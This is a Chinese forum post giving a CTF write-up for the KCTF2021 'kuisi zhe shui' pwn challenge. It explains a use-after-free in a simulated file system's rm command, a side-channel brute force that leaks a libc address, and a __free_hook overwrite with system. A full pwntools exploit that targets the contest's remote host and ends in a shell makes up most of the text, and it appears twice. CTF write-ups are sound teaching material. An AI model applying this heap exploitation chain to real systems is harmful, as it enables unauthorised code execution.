首页
社区
课程
招聘
[原创]KCTF2021秋季赛 窥伺者谁
发表于: 2021-11-30 14:17 14362

[原创]KCTF2021秋季赛 窥伺者谁

2021-11-30 14:17
14362

程序大概就是模拟实现了一个文件系统,然后还提供了shell来管理

ls,pwd,cd,mkdir,touth,echo,rm这些功能可以使用

对于文件,有子节点,父节点,filename,文件内容等等属性,以0标识文件夹,1标识普通文件

恢复出的结构体大致如下:

漏洞点主要发生在以下这个地方:

image-20211130132750819

func_rm中,此处free过后,并未将content指针清0,也没有对该文件进行unlink处理,因此content堆块被free后仍然可以对其进行echorm,也就形成了uaf

那么触发条件呢?往上看,当该文件的上级目录不等于当前目录(cwd)时,就能触发这一漏洞,即rm("../file")

image-20211130134426707

有了uaf,我们继续往下看

此时的我们并不知道任何地址,程序并未提供cat功能,在能输出堆块内容的两个函数,pwdls中,都对输出的内容进行了检查,这使得貌似难以泄露堆块上的地址信息:

除此之外,程序全程都使用write函数进行输出,打到stdout来泄露貌似也不太行

现在我还不知道官方的做法会是怎样,我的做法是通过类似侧信道的验证方式,来逐个字节爆破libc的地址信息

可以关注到rm函数中:

image-20211130134103055

如果我们把一个文件的filename指针修改成一个写有libc地址信息的地方呢?

结果将是,此时的文件名虽然非法,但只要我们不去调用ls,就不会触发check,其他功能也仍然可以正常使用

那么思路就很清晰了:

1.创建一个file,不要给这个file写入内容

2.将这个filefilename指针修改为指向libc地址信息,如指向某个unsorted bin

3.不断修改filename指针,并通过多次rm("../payload")的方式,从后往前逐个字节爆破libc地址信息

4.验证方式为,当结果错误时,会返回"no such file or dir\n"的结果,当正确时,由于content指针为空,所以相当于无事发生

5.libc地址的第一个字节大概率为"\x7f",而最后一个字节也确定,倒数第二个字节能确定一半,这样计算下来,最坏情况下爆破次数大概在1000次左右

6.得到libc地址之后就是正常思路了,利用uaf,把system写到free_hook

这样的办法在本地是可以畅通无阻的,但是远端的情况就比较不如人意了,成功率很低

幸运的是多跑几次总算成功了,后面关注一下官方wp看看官方的做法

exp:

 
 
 
file            struc ; (sizeof=0xA8, mappedto_8)
00000000 type            dq ?
00000008 parent          dq ?                    ; offset
00000010 child           dq 16 dup(?)            ; offset
00000090 filename        dq ?
00000098 content         dq ?
000000A0 size            dq ?
000000A8 file            ends
file            struc ; (sizeof=0xA8, mappedto_8)
00000000 type            dq ?
00000008 parent          dq ?                    ; offset
00000010 child           dq 16 dup(?)            ; offset
00000090 filename        dq ?
00000098 content         dq ?
000000A0 size            dq ?
000000A8 file            ends
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
from pwn import *
context.log_level='debug'
local=0
if local:
    sh=process('./pwn')
else:
    sh=remote("101.35.172.231",10000)
libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def debug():
    gdb.attach(sh)
    pause()
def mkdir(dirname):
    sla("$ ","mkdir")
    sla("name> ",dirname)
def touch(filename):
    sla("$ ","touch")
    sla("filename> ",filename)
def cd(path):
    sla("$ ","cd")
    sla("path> ",path)
def echo(path,content):
    sla("$ ","echo")
    sla("arg> ",content)
    sla("redirect?> ","y")
    sla("path> ",path)
def rm(filename):
    sla("$ ","rm")
    sla("filename> ",filename)
def touch(filename):
    sla("$ ","touch")
    sla("filename> ",filename)
mkdir("test1")
touch("file1")
touch("file2")
touch("file3")
 
echo("file2","a"*0x60)
echo("file1","a"*0x80)
 
touch("file4")
echo("file3",'a'*0x420)
touch("file5")
touch("file6")
touch("file7")
touch("file8")
touch("file9")
touch("file10")
touch("file11")
touch("file12")
 
cd("test1")
touch("success1")
touch("success2")
 
for i in range(8):
    rm("../file1")
 
cd("..")
 
echo("file5",'a')
echo("file6",'a')
echo("file9",'a'*0x40)
cd("test1")
rm("../file6")
rm("../file5")
cd("..")
 
echo("file5","\xf0\x0d")
echo("file7",'\x00'*0x80)
echo("file8","\x00"*0x80+"\xc5\x0d")
 
cd("test1")
rm("../file3")
 
cd("..")
 
# echo("file11","\x0d")
cd("test1")
# debug()
addr="\x7f"
 
for i in range(4):
    cd("..")
    echo("file8","\x00"*0x80+p8(0xc4-i))
    cd("test1")
    j = 1
    while(j<256):
        if j == 10:
            j+=1
            continue
        payload="../"+p8(j)+addr[::-1]
        rm(payload)   
        data=ru("ch3cke")
        if "no such" in data:
            j+=1
            continue
        else:
            addr+=p8(j)
            j=257
            print(addr)
addr+="\xa0"
print(len(addr))
main_arena=u64(addr[::-1].ljust(8,"\x00"))
leak("main_arena",main_arena)
libc_base=main_arena-0x3ebca0
system=libc_base+libc.sym['system']
free_hook=libc_base+libc.sym['__free_hook']
 
cd("..")
echo("file10","a"*0x30)
echo("file11","a"*0x30)
 
cd("test1")
rm("../file10")
rm("../file11")
cd("..")
echo("file11",p64(free_hook))
cd("test1")
echo("success1","/bin/sh\x00".ljust(0x30,'a'))
cd("..")
echo("file12",p64(system).ljust(0x30,'\x00'))
cd("test1")
rm("success1")
ti()
from pwn import *
context.log_level='debug'
local=0
if local:
    sh=process('./pwn')
else:
    sh=remote("101.35.172.231",10000)
libc=ELF('./libc.so.6')
sa = lambda s,n : sh.sendafter(s,n)
sla = lambda s,n : sh.sendlineafter(s,n)
sl = lambda s : sh.sendline(s)
sd = lambda s : sh.send(s)
rc = lambda n : sh.recv(n)
ru = lambda s : sh.recvuntil(s)
ti = lambda : sh.interactive()
leak = lambda name,addr :log.success(name+":"+hex(addr))
def debug():
    gdb.attach(sh)
    pause()
def mkdir(dirname):
    sla("$ ","mkdir")
    sla("name> ",dirname)
def touch(filename):
    sla("$ ","touch")
    sla("filename> ",filename)
def cd(path):
    sla("$ ","cd")
    sla("path> ",path)
def echo(path,content):
    sla("$ ","echo")
    sla("arg> ",content)
    sla("redirect?> ","y")
    sla("path> ",path)
def rm(filename):
    sla("$ ","rm")
    sla("filename> ",filename)

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//